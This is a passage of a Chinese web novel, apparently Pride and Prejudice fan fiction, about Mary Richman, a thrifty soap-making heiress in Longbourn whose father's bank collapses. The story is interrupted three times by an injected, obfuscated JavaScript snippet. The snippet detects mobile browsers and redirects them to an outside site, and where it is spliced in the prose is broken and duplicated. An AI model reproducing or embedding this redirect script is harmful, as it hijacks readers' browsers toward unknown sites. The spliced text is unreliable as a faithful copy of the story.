《19世纪女商人》 1. 第 1 章 最近的朗伯恩村庄很热闹，班纳特家里的大女儿简和二女儿伊丽莎白都定下了婚事。 现在都不用班纳特太太天天说，整个朗伯恩甚至是梅里顿的人都知道，她大女儿的未来丈夫宾利先生每年收入5000英镑。她二女儿即将要嫁的人更加了不起，达西先生年收入整整1万英镑呢！ 对此，住在朗伯恩另一头的玛丽·里奇曼听了，继续搅拌木桶里逐渐变白的皂液。 穿到名著里是一种怎样的体验，其实也还好。大家虽然都住在朗伯恩，但接触实在是少。就连去年尼日斐花园的几次舞会，玛丽都没有去过。 她倒是想去看看男女主人公的相遇，可惜家里太忙了，还是赚钱要紧。 里奇曼家虽没有班纳特家拥有近千英亩的土地，但这些年来，玛丽也把这200英亩打理得很好。如果说年收入2000英镑的班纳特家是乡绅，那么年收入800英镑的里奇曼家勉强叫个小乡绅吧。 可惜，小乡绅里奇曼先生不愿意打理家里的这些土地，结婚后早早地就去了伦敦的巴林银行工作。6年前，他更是独立门户，开了一家小小的私人银行。 早几年，里奇曼太太还两头跑。可自从玛丽满10岁以后，她几乎就长住在了伦敦，一心只想着生儿子。 都这么多年了，生不出来就生不出来嘛。到时候玛丽找一个人入赘，照样能继承这200英亩的土地，还不会浪费她这么多年来的心血。 可惜，里奇曼先生和里奇曼太太想不明白。 看着几个木桶里都搅拌差不多的皂液，玛丽开始倒入早就准备好的木格子模具。做了几年下来，这些都是再熟悉不过的事情。很快，48格一块的模具就被装填完。 等到10盘模具全部满了，玛丽也没浪费剩下来的那些。剩下的自己用，捐献给教会，总有去处。 她将模具外表一一刮平，再放到架子上，一个月之后就能出货了。 这些都是伦敦的商店定制好的，3便士一块的出货价，这一架子480块就是6英镑的收入。到时候约好了时间梅里顿见，一手交钱一手交货。 自制的手工皂肯定比不了那些进口的马赛皂、卡斯提尔皂，但它们贵啊，2先令一块呢！同样的价格，就算伦敦商人3便士拿去卖到6便士，都能买4块玛丽牌牛奶皂了！ 所以这几年来，她的肥皂销路一直没有断过。 也因此，早几年的时候，玛丽就花了5英镑给办了各种许可证，之后再按年营业额的7％缴税就行。 按照每周6英镑算，一年算下来就是312英镑。年缴税22英镑，年成本52英镑，肥皂一年的纯利润就有238英镑。 玛丽再检查一遍架子，确定没问题的，这才将门锁好。她回头，正好看到家里的两个女仆贝茜和茉莉从鸡舍回来。 “今天收成怎么样？”她口气亲近。 “208个鸡蛋，玛丽！”两个女仆都展示了一下自己手里的木桶。 “真不错，晚上我们做蛋糕吃。对了，土豆那边呢？可以收了吗？”玛丽跟着一起去厨房，顺便问问土豆的情况。 “约翰说，再等一星期差不多了。”约翰是家里的长工，他和汤姆两人负责种小麦、土豆、萝卜、牧草等等。 “那一星期后我们又要忙了。”玛丽看着两人放下木桶，也很快回到了自己房间。 里奇曼家里占地一英亩（≈4000㎡），分上中下三层。 一楼是客厅、厨房、女仆房、长工房、杂物间、储藏室等等。二楼是男女主人房、玛丽的房间，还有另外两个用不上的子女房，以及几个客房。三楼原本都是闲置的，现在专门用来晾皂。 玛丽翻开自己的账本，月初班纳特家的好消息传来，她正忙着收家里50英亩的小麦地。今年的收成不错，一共收上来1250蒲式耳！ 每蒲式耳（≈36.4升）小麦能卖7先令，全部卖了那就是430多英镑！当然，实际不会这么多。 小麦收上来后必须送到磨坊，在这里，磨坊要扣除磨坊税，教会也要收税，国王的税更是不能少。再加上自然损耗，拉回来还能有1000蒲式耳都算是好的。 总之去一趟磨坊，86个英镑没有了。 实际上，这1000蒲式耳的面粉玛丽也不会全部拉回来。留下200蒲式耳自用，剩下的800蒲式耳直接让军团拉走。虽然军团给的价只有每蒲式耳6先令，但不用交税，也没有另外的风险，能直接换来240英镑！ 50英亩的地需要麦种75蒲式耳，好的麦种每蒲式耳7先令，一共需要26英镑多。加上长工每人每年15英镑的薪水，这里的成本就是56英镑。 240英镑减去56英镑，家里今年在小麦上的收入为184英镑。 玛丽必须要把这一笔笔账都记清楚，尤其是交过税的，绝对要保留得干干净净，免得税务官们前来找茬！ 目前50英亩小麦已经收上来了，还有50英亩的土豆马上就要收。到了年底，50头猪要出栏，200只鸡还继续留着。 玛丽算了一下，今年家里的年收入说不定能到1000英镑呢，如果里奇曼先生的私人银行没有再亏钱的话。 “唉，趁着土豆还没收，后天去一趟伦敦吧。”她真怕那对夫妇饿死了！ 第三天，玛丽就听说班纳特家里私奔的小女儿回来了。应该是达西先生解决了这桩丑闻，所以才敢回来。 “行了，你们忙，我去一趟齐普赛街。”里奇曼先生的私人银行就开在那里，紧邻着伦敦的大酿酒商怀特布莱德。可惜不能比，人家年收入好几十万英镑，里奇曼先生估计连个零头都没有！ 3个小时后，轻便的双轮马车停下，一身朴素的玛丽走进里奇曼私人银行。 “哦，亲爱的，面粉都卖出去了吗？”里奇曼太太今年才42岁，早年听说她也是梅里顿里的一枝花。可是在伦敦待久了，她开口就是问钱。 “卖了，父亲呢？”玛丽拿出支票，那是军团军需官给的240英镑。 “哦，玛丽，你可比你的父亲能干多了！我就知道把家里交给你没问题的，你要是个男孩就更好了。”拿到了支票，里奇曼太太口气明显轻松了，就是遗憾她不是儿子。 “父亲呢？”玛丽看着没人的银行，多少觉得不对。 “他忙着呢，客户们要联系。”里奇曼太太甩甩支票，盯上眼前过于精明的女儿，“你也快19岁了，去年尼日斐花园的舞会没去，今年德比郡的那场婚礼总要去吧。” “玛丽，那可是年收入1万英镑的达西先生的婚礼，到时候到场的肯定都是有钱人！听妈妈的，去给自己找一个好丈夫。” “妈妈，我没有简漂亮，我也没有伊丽莎白会说话。我读的书没有另一个玛丽多，更不会和莉迪亚一样哄人。妈妈，我只是一个普通人，我就找个普通人好了。”到时候，这个普通人也成为里奇曼，这样她就能继续照顾这200英亩的地了。 “乱说，你虽然没有简和莉迪亚漂亮，但你长得也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723176|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差！玛丽，有点信心，怎么说我也曾经是梅里顿里最漂亮的姑娘之一。” “看看你这浓黑的辫子，好好打理一下，一定也是个可爱的小姐。好吧，你虽然有点黑，但这是健康。” “还有你这双明亮的黑眼睛，税务官都不敢多收我们家的钱！” “玛丽，有钱人家最喜欢你这样的太太了，既能帮着生继承人，还能帮着做生意呢。”里奇曼太太数完了玛丽的优点，也不忘提醒，“当然，你也别总盯着家里的地，多出去社交才能认识更多的人。” “德比郡的那场婚礼你要去，另一场宾利先生的婚礼也不能错过。”要是时间允许的话，里奇曼太太会亲自带着人过去。 “知道了，知道了。”玛丽赶紧让人去马车里拿东西，都是家里带来的肥皂、面粉、鸡蛋、猪肉、猪油等等，吃着用着也放心。 “我就知道你是个好孩子，虽然你不是个男孩，但我和你父亲一样爱你。”见到了东西，里奇曼太太也没停下来。 “既然父亲不在，这支票就放在你这儿了。来，签个字。”等到税务官来查了，就好说清楚这笔钱的去向。 “那些税务官实在是——”里奇曼太太一边签字，一边小声抱怨。她女儿明明那么会赚钱，结果每年总有一部分落入税务官的口袋！可不止那些规定的金额，有时候还要贿赂呢。 “好啦，那我就先回去了。你们什么时候也回朗伯恩看看，再不回去，那里的人都快要不认识你们。”收好账本，玛丽也准备回去了。 “好好好，我们有空就回。”里奇曼太太送女儿出门，直到马车都看不见了，她还站在门口看。 “行了，快进来吧。”一直躲着没出面的里奇曼先生收好了新到手的支票，“你也看到了，她一个人能活得很好。所以，你的决定呢？” “我能怎么办？我当然跟你走！可是，玛丽一个人会被他们撕碎的。”哦，她可怜的女儿！ “我只抵押了银行，没有抵押朗伯恩的祖产，他们不会的。”里奇曼先生只能这么安慰自己，“走吧，趁着支票有了，东西也有一点，赶紧走！”离开伦敦的船可不等人。 经不起催，里奇曼太太又收拾了一些东西，这才安静地跟上了丈夫。好好的日子没过几年，这下好了，银行破产了，两人都要逃亡了。 对此，正在回去路上的玛丽一点不知情。 她来伦敦的次数并不多，每次来回，她都喜欢看外面来来去去的人。社交季已经结束了，这时候留下来的都只是为生活忙碌的人。 “抓住他，那个偷面包的贼！” 这看着看着，马车前面就跑来一个高个子。他手里拿着面包，边跑还边往后看！ “小心——”玛丽赶紧坐稳了，免得被这个突然冲出来的人给吓到。跑就跑了，看着点路行吗？万一撞到马车，撞坏了，算谁的？ 马车一停，男人也不得不停下，他身后的人追了上来。 “付钱！”面包房的人抓住了他。 “我们走吧。”玛丽一看这阵仗，是一点都不想留在原地。白长这么高的个子了，连个面包都要偷。 趁着那边双方正在纠缠，马车朝旁边走。还没绕过两人呢，面包房的人再次拦住了去路。 “他说了，是你叫他去买面包的，没给钱！”面包房的胖老板口气凶狠，他沾着面粉的手拍在马车上，拍得都是痕迹。 玛丽深呼吸了一下，她抬眼就看到了那个高个子粗鲁地咬了一口面包，随即又嫌弃地吐在了地上！ 2. 第 2 章 如果刚刚没看仔细，玛丽还会误认为那偷面包的高个子是个活不下去的穷人！ 现在，呵呵！ 对方抬着头，边吐面包还边往这边看，她能看不清楚对方吗？单单对方身上的衣服，那恐怕就是好几英镑，更别说他脚上那双不知道什么皮子制成的鞋！ 这样的人，当然看不上路边面包房里的面包，那吐在地上的就是最好的证明。 所以，一个有钱人为什么要这么做？对方长得也不差啊，高高大大的，就算胡子遮住的大半张脸不好看，那也不至于讹上她吧？ “面包多少钱？”不管这人在想什么，玛丽这会儿只想赶紧回去。与其耗在这里，不如花几便士买个省事。 “两个便士。”见真有人愿意付钱，面包房的胖老板也换了一副口吻，只等着拿钱了。 玛丽数了两个便士，递出去。 “我们走。”马车终于能继续走。 只是没走出多远，玛丽还是发现了不对劲。那高个子就跟在后面，仿佛盯上了她一样！ 她又不是多漂亮的人，跟着她干什么？好在又过一会儿，这人总算是不见了。不然，玛丽也不知道怎么办？ 朗伯恩甚至是梅里顿的环境还是相对安全的，这么多年来，她也没想着走出来过。 每年靠着200英亩的土地种种小麦和土豆，再养养猪和鸡，做做肥皂，还是能活得很好的。所以没必要和里奇曼先生那样，一心只想往伦敦闯。 闯了6年，他除了把之前积攒下来的收入都亏进去外，做出什么成绩来没有？没有！ 玛丽宁愿把税交得足足的，也不愿意把摊子铺开来，风险太大了。就算没有外部的风险，来自里奇曼先生的拖后腿也是让人无法忍受的。 6年前，玛丽12岁的时候家里的200英亩土地就已经是这个规模这个收入了，是她不愿意多赚钱吗？不，那是为了让里奇曼先生少亏点钱！ 刚开办私人银行的时候需要投资，玛丽也能理解。但是年年需要赔进去，这根本不对好吗？ 然而已经在巴林银行工作十几年的里奇曼先生听不进劝，一心扑在那家银行上。家里每年800英镑的收入，最后几乎都填进去了那个无底洞。 索性玛丽放弃了，就这样吧。 反正那些成本钱都在她手上，其他的随便。 因为手里没有结余，也就没人会盯上她。 朗伯恩甚至整个梅里顿的人都知道，里奇曼先生办了6年银行，就亏了6年！ 为什么会知道？因为梅里顿的人都喜欢把钱存到里奇曼先生那里去，他给的利息高啊！大家也喜欢去里奇曼私人银行办理贷款，那边的利率低。 客户有了，本来这是一个很好的开始。 结果，唉—— 总之，他就适合做一个打工人，根本不是个当老板的料。不知道还要几年，里奇曼先生才能醒悟过来！ 在他醒悟之前，玛丽还是维持着年收入800英镑的局面吧。过几天该给教会送面包送鸡蛋了，这样教会才会照顾一点，邻里之间有事也能一叫就行。 里奇曼先生和太太常年不在朗伯恩，玛丽一个人总是需要有些依靠的。 她的依靠就建立在食物、肥皂上，好在朗伯恩人也不多，一家一份她还供得起。 这样一来就要见到班纳特一家了，不知道那两位已经有了婚约的小姐的未婚夫们会出面吗？莉迪亚会带着丈夫前去教堂吗？ 想着这些，玛丽就没心思去想之前发生的事。 她都回到朗伯恩了，也许只是巧合。 周日天气阴，没下雨。 玛丽带着做好的面包、新鲜的鸡蛋，还有没烙印的肥皂前往教堂。她一个人肯定是拿不了这么多东西的，贝茜和茉莉也去。长工约翰和汤姆各扛着一袋面粉，目的地都一样。 “哦，玛丽好孩子，你来了，快进来。”驻堂牧师一看到远远走来的几人，就早早迎了出来。 他虽然被派驻在这里，但这里的日子一点不无聊。朗伯恩除了热闹的班纳特一家，还有里奇曼家这个精明的女儿呢！ 那个愚蠢的柯林斯居然娶了卢卡斯爵士27岁的女儿？！哦不，要他选，他绝对选才18岁的玛丽·里奇曼！ 这大半年看下来，他可太知道这位里奇曼小姐的赚钱能力。她单单靠肥皂赚的钱，就足足有200多英镑了，都抵得上他的年收入！这还只是交完税后的，要是稍微操作一下，赚个300英镑都不是问题。 “牧师，辛苦你每周来给我们布道。”玛丽让人把东西放下，就放在门口。这是朗伯恩小教堂的慈善捐助处，大家带来的东西全部放在这里。等今日的布道结束后，再由牧师一同分配。 “这是我的职责，好孩子，快进去坐吧。”驻堂牧师的手一一点过面粉、面包、鸡蛋，他在牛奶般的肥皂上摸了一下，满意地点了点头。 好东西啊，伦敦在卖6便士一块呢，里奇曼小姐一送就是两打！而且，这可不是只送一周，他来了大半年，周周都能收到！ 玛丽几人在小教堂中排靠后的位置坐了下来，这里的位置基本都是固定的。最前面的乡绅班纳特一家、爵士卢卡斯一家，今天如果那几位男士都来的话，绝对坐不下。 所以，往后挪挪是应该的。 没一会儿，热闹的声音就近了。 玛丽知道，那是主角团来了。她和其他人一样，都带着好奇回头去看。果然，班纳特太太正矜持地给大家介绍呢！ “是的，是的，这是简的未婚夫查尔斯·宾利，这是丽兹的未婚夫菲茨威廉·达西。哦，这是乔治·维克汉姆，莉迪亚的丈夫！” 去年还是5个未婚的女儿，一年过去，小女儿嫁了，大女儿二女儿即将要嫁，班纳特太太心情别提有多舒畅。她现在神经也不疼了，就天天盼着另两场婚礼的到来。 见状，班纳特先生直接和卢卡斯爵士坐到了位置上。 没有了他们的阻挡，玛丽也比较好看清楚来人一行。果然达西先生不愧为初代高富帅啊，除了脸冷一点外，确实符合这个标准。相比之下，宾利先生就是个小太阳。 维克汉姆先生倒也长得不错，可是他是个小白脸，而才16岁的莉迪亚明显不是那个富婆。 倒是简更加柔和了，由内而外的那种。之前的她虽然美丽，但总带着一些愁绪。快要结婚了，相信宾利先生给了她很大的安全感。 至于伊丽莎白，好吧，她在到处看。 “嗨！”被抓包的玛丽挥挥手，一点不在意被看到。 伊丽莎白虽然没有简那么完美的容貌，但达西先生看上的也不是她的脸。所以这不重要，她现在笑得开心就是对的。 玛丽看人的同时，伊丽莎白也在给身边人介绍她。 “看，那是我们朗伯恩的另一个玛丽。” 顺着未婚妻的目光看过去，菲茨威廉·达西看到了一张笑脸。当然，对方是对着未来的达西太太笑的，这就很好。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723177|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这个玛丽和班纳特家的玛丽差不多大，她虽然没参加去年尼日斐花园的舞会，但看得出来，这女孩很有礼貌。至少知道什么能看，什么不能看。单单这一点，就比整个朗伯恩的大多数人要好出很多。 “婚礼要邀请她吗？”如果是这个女孩的话，达西先生愿意承担来回的路费。 “哦，你知道妈妈恨不得把朗伯恩的人都请去。”伊丽莎白却只希望那是一个足够小而温馨的婚礼。 见人都坐下了，玛丽也端正了坐姿。 之后，驻堂牧师开始每周差不多的布道。就算玛丽一点不相信，嘴上也是能说几句的，听多了就是这样。 布道完成，大家一起祈祷。 离开经过门口时，所有人意思意思拿一点东西，再次谢过牧师后，这才纷纷回家。 “玛丽，下个月德比郡的婚礼，和我们一起去吧。”玛丽·班纳特没跟家人一起离开，而是专门等着人。 她比不上简，比不上伊丽莎白，还会比不上玛丽·里奇曼吗？相同的18岁，同样平凡的脸，至少她有一个年收入2000英镑的乡绅父亲！马上，她还会有两个年收入1万英镑和年收入5000英镑的姐夫！ 而她自己，几乎读完了这个年纪女孩子应该读的书，还会弹钢琴！ 玛丽·里奇曼有什么？一个亏钱的银行家父亲，一个再也无法生育的母亲，她家的土地甚至只有200英亩！她也没看过里奇曼穿过什么好看的裙子，更别说戴什么装饰品了！ 几个月过后，她会在两场婚礼上认识很多足够有钱的人。他们会欣赏她的才能，而不仅仅看着她的脸。 她也会嫁一个好丈夫的，一定！ “谢谢，如果新郎新娘邀请我的话，我会去的。”去一趟也好，说不定能捡漏一个“宾利先生”呢。相比多金的达西先生，玛丽还是喜欢小太阳。 “那就这么说定了。”玛丽·班纳特达到了自己的目的，快速跟上了她家人。走之前，她没忘记拿走一块牛奶皂。 10月10日，玛丽从三楼收起已经皂化好，且印上商家商标的960块肥皂前往梅里顿。 每块肥皂差不多4盎司（≈113g），加起来就是240磅，大概两个玛丽的重量。加上一个她本人，轻便马车还是塞得下的。 逢十是大家约好的时间，她得按时送过去。 当然，要带上账本，一会儿交易时要在税务官的见证下来。 其实一切都是一目了然的，一盘48块，10盘看着一样就行。碰面后，两个商家也没多说，大家都很熟悉了，就是检查一下肥皂的质量。没问题的，直接能交易。 而税务官要做的，就是记录这两笔的交易数量和交易金额，这样等收税的时候就不会出错。 不过里奇曼家的税收一向给得准时，也不会偷逃，所以税务官很放心。 9月这家的小麦才收上来，该缴纳的税就全部上缴了。除了那250蒲式耳的小麦实物，她还交了卖肥皂卖土豆的75英镑税收，还有窗户税10英镑。至此，上一年度的税收里奇曼家全部缴清。 “谢谢先生。”在税务官签完字后，玛丽直接递过去几只绑起来的木质肥皂盒。 “应该的，下次有事再来找我。”税务官接下，很高兴今天没有白忙。他合上税务登记簿，拎着一串肥皂盒就要离开。 “等等，东西拿来我看看。”一辆精致的带着家族徽章的马车停在了税务官的面前，拦住了他的去路。 3. 第 3 章 一串6个肥皂盒，一看就是不值钱的东西。打开，里面的肥皂闻着倒是挺香的，颜色也很纯正。除了上面没有印记外，跟在伦敦卖的没什么区别。 高个子男人继续开盒子，哼，盒子里终于不是肥皂了，而是两枚先令！ “你做自己的工作，居然还要收这么多的贿赂？”一次交易，13块肥皂39个便士就送出去了，“我又没说什么，胆子够小的。行了，别说见过我。” 男人把手里的东西还回去，让人跟上前面的马车。 只是一会儿没看见，刚才的轻便马车就被人围了起来。这可和那天在伦敦不一样，这会儿围着的人都生气着呢！ “下来，里奇曼！”这两天，梅里顿有人的存款到期了，就特别跑一趟伦敦！结果齐普赛街的里奇曼私人银行被封了，大家根本就找不到人！ 这件事回来一说，也有人怕弄错，还专门去问。 班纳特太太的妹妹菲利普斯太太就写信给了在伦敦的兄弟，让他帮忙打听一下。一打听，说是人早就跑了！ 得知消息的菲利普斯太太正打算去朗伯恩的里奇曼家里看看，谁知道这家的女儿就正好来了梅里顿。 这下，别想跑！ 玛丽下来了，她被围着听完了整件事的来龙去脉。 哦，原来是里奇曼先生跑了，她竟然没觉得有哪里不对。这样年年亏损的银行，她也是会想跑的。只是，就不能把事情处理好再走嘛！ “诸位——”玛丽等着面前激动的人自己安静下来，“事情既然发生了，我既然也是个里奇曼，那么这件事你们找我也没错。” “那你说，我存在银行里的钱怎么办！” “对，我们的钱怎么办？！” 不给一个说法，大家就都跟着一块儿去朗伯恩，听说那边里奇曼家里还有200英亩的土地呢！ “这样，你们给我一些时间。放心，我不是要跑。”玛丽在被打断之前，就先说明自己的意图，“我先要去一趟伦敦，看看里奇曼银行被封的情况。我总得了解一下具体发生了什么，才好做接下来的打算。” “放心，你们只要拿好存单。等我问清楚了，你们存在银行里的钱是不会少你们的。多拖一天，就按照你们存单上写的利率，赔付你们相应的金额。” “今天过去挺晚了，我明天一早出发去伦敦，尽可能在几天之内给出大家答复。” “家里的50英亩土豆正在收成期，虽然这其中有一部分是属于军团的，但我保证会把其他的尽快卖掉，换成钱给大家。” 态度给了，承诺也给了，围着的人也表示理解。毕竟梅里顿距离朗伯恩才1英里，最后一个里奇曼想逃也是逃不掉的！ “谢谢大家，给你们添麻烦了。”见人总算散开点，玛丽致谢又道歉，这才回到了马车上。 她回想着那天见到的里奇曼太太，怪不得总劝着她找丈夫呢，原来那时候就已经打算跑路了吗？也不打声招呼，这么多年白相处了。 这样一来，她别说是找丈夫了，别人不欺上门来都算是好的。 不想太远的事，先把收成上来的4000蒲式耳土豆拉去军团吧。卖给外面的价格是每蒲式耳2先令，卖给军团就只有1先令3便士，但也是250英镑！ 目前，玛丽正需要这笔现金。 回到朗伯恩，她没去看别人异样的目光，而是直接下了马车就去土豆地里。 里奇曼家的200英亩土地是连在一起的，最长的地方她需要走20分钟，最宽的也需要走上15分钟。所有的土地外面都围了篱笆，上面爬满了野蔷薇。只不过这时候的野蔷薇过了花季，看不到几朵花了。 走过一片牧草，走过秸秆地，前面就是约翰和汤姆正带着临时的短工在收成的土豆地。 这中间隔着鸡舍，也隔着猪圈，还有一个大大的仓库。 “老约翰，发生了一点事情，仓库里的这些我要让军团的人尽快过来拉走。还没收上来的，你估计会有多少？”玛丽叫来了老约翰，他其实才四十出头，但大家都这么叫。 “至少6000蒲式耳。”老约翰估算了一下，今年的收成好了一些。 “好，那辛苦你们继续忙。”比预想的要多，这就意味着能周转的现金也会多。玛丽不知道明天去了伦敦后会是一个什么结果，但手上钱多，这时候总是没错的。 回来路上，她去猪圈看了。 50头猪都吃得圆滚滚的，就算现在要卖，一头应该也能卖到两个半英镑！再养一个月，3英镑绝对没有问题。 鸡舍里的鸡还在陆陆续续下蛋，玛丽暂时不打算卖它们。 梅里顿加起来也就2000人左右，这里面能有100人在里奇曼先生那里存款，都算是好的。假设每人平均存款金额为20英镑，那么本金就是2000英镑。 这个金额不算多，卖了土豆卖了猪，再多做点肥皂，很快就能结清的。 玛丽不知道还有哪些人从里奇曼先生那里贷了款，这部分钱他都是怎么处理的？这要是没处理就走了，她出面别人认的可能性不会大。 “玛丽——”女仆贝茜站在前面，正挥着手。 “怎么了？”她才回来，不会消息已经在朗伯恩传开了吧？ 消息传没传开不知道，但里奇曼家里来客人了。玛丽听着贝茜的描述，猜不到对方的来意。但很大可能，还是和里奇曼先生的离开有关。 “抱歉，让你久等了。”来到客厅，玛丽也没有特意去换裙子。刚去了地里，她的裙摆肯定是不能见人的。 “我也刚到，没有久等。”来人转过身，露出了一张还算熟悉的脸。 说熟悉，是因为玛丽在上回去伦敦的时候，刚刚见过他——那个偷面包的贼！对了，他身边的不就是面包房的胖老板吗？ “看来里奇曼小姐对我印象深刻。”一脸胡子的高个子男人见状，一点没有被认出的尴尬，“自我介绍一下，奥克塔维厄斯·艾提斯，这是我的管家威廉。今天过来，有两件事要跟里奇曼小姐商量。” 里奇曼小姐只能笑笑，难道她还要指责人恶作剧吗？虽然玛丽不明白当时是个什么情况。 “两位，坐。”那就先听听对方的实际来意。 高个子坐了，胖管家还是站在一边。 “说之前，里奇曼小姐先看一下这份文件。”男人看了管家一眼，“一周前认识了小姐，我就简单让人打听了一下。如果有哪里冒犯，还请小姐原谅。” 玛丽看到了胖管家递过来的文件，厚厚的一份。她翻开，这里面赫然就是里奇曼先生银行的抵押合同！ “我运气不错，那天你离开伦敦后，我的管家很快就找到了你之前的去处。不凑巧，当时里奇曼先生和里奇曼太太正忙着离开。我就顺便让管家打听了一下，之后就得到了这份文件。” 胖管家谦虚地站着，一点不觉得这些事需要被专门说出来。 玛丽确定对方说完了，尽可能稳住心神继续看手里的东西。不管对方要做什么，目前里奇曼先生的银行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723178|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个什么状态，她还是先看清楚。 之后好长时间，客厅里都是安静的，只有纸张翻阅的声音偶尔响起。 单从这份文件上看，里奇曼先生只是把银行抵押给了他的前工作地巴林银行。其实说抵押也不正确，说是贱卖更形象一点。 包括齐普赛街的小银行，也包括银行客户的存款和贷款，连带着这6年累积下来的坏账！ 但是，仅仅卖了1000英镑？ 这怎么看，都不对吧？ 玛丽尽管没有看到过里奇曼先生银行的各种账本，然而这6年每年800英镑的投入就是从她手里过的，怎么说也能值个5000英镑！ 只卖了1000英镑，说是贱卖一点没有错。 不过这样一来，巴林银行既然接手了，那么这件事就跟自己没有关系了？ “我看完了，艾提斯先生。”玛丽将文件合上。 “看完了，那么银行的事情就跟你没有关系了。”男人见年轻的小姐认真看完后，只等着自己开口，就觉得他没有找错人。 “我明天会去一趟巴林银行，那边确定后就跟我没有关系。”玛丽到时候还会叫上梅里顿的几个人一起去，免得有人不相信。 所以，这位艾提斯先生的来意究竟是什么？ “谨慎是一件好事，里奇曼小姐。但有时候只有谨慎，是远远不够的。”奥克塔维厄斯展示了自己的诚意后，开始说明他的来意，“这份文件算是我的歉意，为我那天的冒昧，也为之后对你的单方面了解。” “里奇曼小姐，下面我们来说说第二件事。” 玛丽看着再次被胖管家递到面前来的文件，最终还是接过了手。 一个有钱人，一个专门认识她的有钱人，一周过去了，她的那点事情估计早就被翻来覆去查得很清楚。所以，她没必要推脱。就算不收，另一件事还是会继续说出来的。 “我今年26岁，母亲早逝，家里有一位掌控欲很强的父亲。我排行第八，上面有两个哥哥5个姐姐，下面有两个妹妹。”奥克塔维厄斯更详细地介绍了他自己，“很快，我的父亲就要为我安排妻子。” “里奇曼小姐，你也看出来了，我不是个愿意被安排的人。所以，我打算自己先找一个妻子。” “我能知道为什么吗？艾提斯先生，我只是一个刚破产的小银行家的女儿。”玛丽听懂了，和之前一样，她还是不明白。 “当然，里奇曼小姐。”奥克塔维厄斯很愿意为此解释，“在见到你以前，里奇曼小姐，你一定不知道我在整个社交季认识了多少适婚的小姐！” 各种社交场合、皇家剧院、商店、街上，类似的戏码就没有停过。愿意提供帮助的小姐当然也有，只是有了以后再进一步调查，这样那样的问题总会冒出来。 “选来选去，里奇曼小姐，你是唯一一个我亲自上门来见的人。” “你虽然年纪小，但性格沉稳，遇到事情不会尖叫、也不会昏倒。”奥克塔维厄斯摸了一把胡子，“但我知道，这不是全部的你。” “我翻过了里奇曼家6年来的征税登记，所有的金额变化都不大，这要维持下来并不是一件简单的事。” “里奇曼小姐，不是每一个人明知道赚的钱都要亏进去，还愿意年年支持的。” “这说明，你很喜欢你的家人。” 奥克塔维厄斯只剩下最后一点还需要确认：“建议我洗个脸吗？” 玛丽摇头，然后她看到了一个没有胡子的艾提斯先生！ 4. 第 4 章 胖管家安静地出去了，玛丽也不知道他找谁帮的忙，总之人很快就端着水进来。之后，刚刚还满脸胡子的艾提斯先生就这么当着她的面，将那好几片胡子从脸上撕了下来！ 说实话，这挺惊悚的。 尤其是在看到艾提斯先生藏在胡子下面的那张脸后，玛丽更觉得这人找上她没必要。凭这张脸，他就算是要娶个公主当妻子，公主们也会愿意的。 好久没有一个人能给人惊艳感了，玛丽再次体会到了眼前一亮的感觉。 如果说简·班纳特的美是温和的，那么这位艾提斯先生的美则是让人受到冲击的。这无关于性别，美的事物美的人，总是让人欣赏。 看过了太多刻意被塑造出来的雕塑般的脸部线条后，再看眼前这位，玛丽才能分辨出什么是自然。 如果说每个画家都是一个造物主，那么艾提斯先生的造物主肯定格外偏爱他。 他的脸部线条、他的五官比例，都受到过精确的测量。就算不是黄金比例，也很接近了。 而且，他还有一双幽蓝色的眼睛。当他这么注视着一个人的时候，被注视的人几乎感到荣幸！ 玛丽眨了一下眼睛，不不不，她没有这种感觉。她只是觉得面前的人漂亮得不像话，很难想象是现实存在的。 “艾提斯先生，如果说我刚才也许会考虑一下你的提议，现在却只能回绝了。”那张大胡子脸虽然看不清楚，但不会惹来麻烦。在失去了里奇曼先生和里奇曼太太的踪迹后，玛丽确实要考虑一下丈夫人选。 可艾提斯先生，他还是算了吧。 奥克塔维厄斯收回了目光，他也不知道自己在等什么。或许是惊艳，或许是尖叫，可惜里奇曼小姐都没有表现出来。 她只是拒绝了他，在他露出了这张脸后。 “我能知道你回绝的原因吗？”他没有生气，就是好奇。明明都盯着自己好一会儿，怎么会是这个反应？ “艾提斯先生，我找丈夫是过日子的，不是为了找麻烦。抱歉，这不是攻击。”玛丽特别补充了一下，“很感谢您的到来。”事情就到这里为止吧。 “原来是这样，可是里奇曼小姐，你的担心根本就不存在。”很少听说自己的脸是个麻烦这种说法，奥克塔维厄斯走近几步，“或许我年纪小的时候确实因为长相遭受过一些困扰，但我很好地解决了这个问题。” “里奇曼小姐，你担心的事不会发生。”就算真有人看上了他的脸，他也有的是办法处理掉。 